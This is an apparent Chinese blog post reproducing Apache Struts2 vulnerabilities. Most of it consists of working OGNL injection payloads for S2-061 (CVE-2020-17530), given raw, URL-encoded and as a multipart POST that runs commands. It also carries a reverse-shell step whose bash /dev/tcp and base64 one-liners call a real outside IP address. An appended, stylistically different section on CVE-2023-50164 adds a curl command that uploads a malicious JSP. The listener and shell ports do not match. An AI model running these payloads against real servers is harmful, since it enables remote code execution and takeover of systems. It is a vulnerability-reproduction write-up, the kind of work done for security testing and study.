【漏洞复现】Struts2系列

1. 了解Struts2

Apache Struts2是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

1. Struts2 S2-061 RCE (CVE-2020-17530)

1. 漏洞描述

Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过

简单描述: 在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成 任意代码执行

2. 影响版本

Apache Struts 2.0.0-2.5.25

3. 复现过程

PoC:

原始:%{ 'test' + (11 + 11).toString()}
url编码: ?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

在这里插入图片描述
在这里插入图片描述
漏洞利用:

方法一,可以看到执行相加,这里直接构造payload执行命令

原始:

#application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'id'}).(#res=#exec.exec(#cmd))}

url编码:

 ?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}  

方法二,在首页使用burp抓包发送到重放模块,并修改成POST传输

Content-Type: multipart/form-data;boundary=----WebKitFormBoundary5DQYTI1H
Content-Length: 817

------WebKitFormBoundary5DQYTI1H
Content-Disposition: form-data; name="id"


%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary5DQYTI1H--

在这里插入图片描述

方法三,反弹shell

vps上执行监听:nc -lvnp 3333
受害者主机上执行任意一个就行:
bash -i >& /dev/tcp/101.42.37.85/9001 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzcuODUvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}

在这里插入图片描述

### 复现Struts2文件上传漏洞(CVE-2023-50164) #### 使用Docker搭建Vulhub环境 为了安全地复现漏洞,建议在一个隔离环境中操作。可以通过部署[Vulhub](https://vulhub.org/)项目中的相关镜像来快速建立测试平台[^1]。 #### 漏洞详情 该漏洞源于Apache Struts框架处理文件上传请求的方式不当,允许攻击者通过精心构造的HTTP POST请求绕过预期的安全检查机制,从而可能触发路径遍历问题并最终达到远程代码执行的目的[^2]。 受影响的具体版本包括但不限于: - 2.5.x系列:从2.5.0到2.5.32 - 6.x系列:自6.0.0起至6.3.0为止 这些版本中都可能存在上述提到的安全隐患。 #### 利用过程概述 当尝试利用这个漏洞时,通常会按照如下思路进行: - 构建特制的multipart/form-data类型的POST请求; - 设置Content-Disposition头内的filename属性值为含有特殊字符序列(如`../`)字符串; - 将恶意脚本作为附件提交给服务器端的应用程序接口; - 如果应用程序未正确验证输入,则可能导致非法写入任意位置或被执行。 请注意,在实际渗透测试活动中应当遵循合法授权原则,并仅限于受控环境下开展此类实验活动。 ```bash # 下载并启动包含易受攻击组件的服务容器实例 docker-compose up -d struts2_oval_upload # 发送带有恶意payload的数据包以验证是否存在风险点 curl -F "upload=@/path/to/malicious_file.jsp" http://localhost:8080/example/upload.action ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值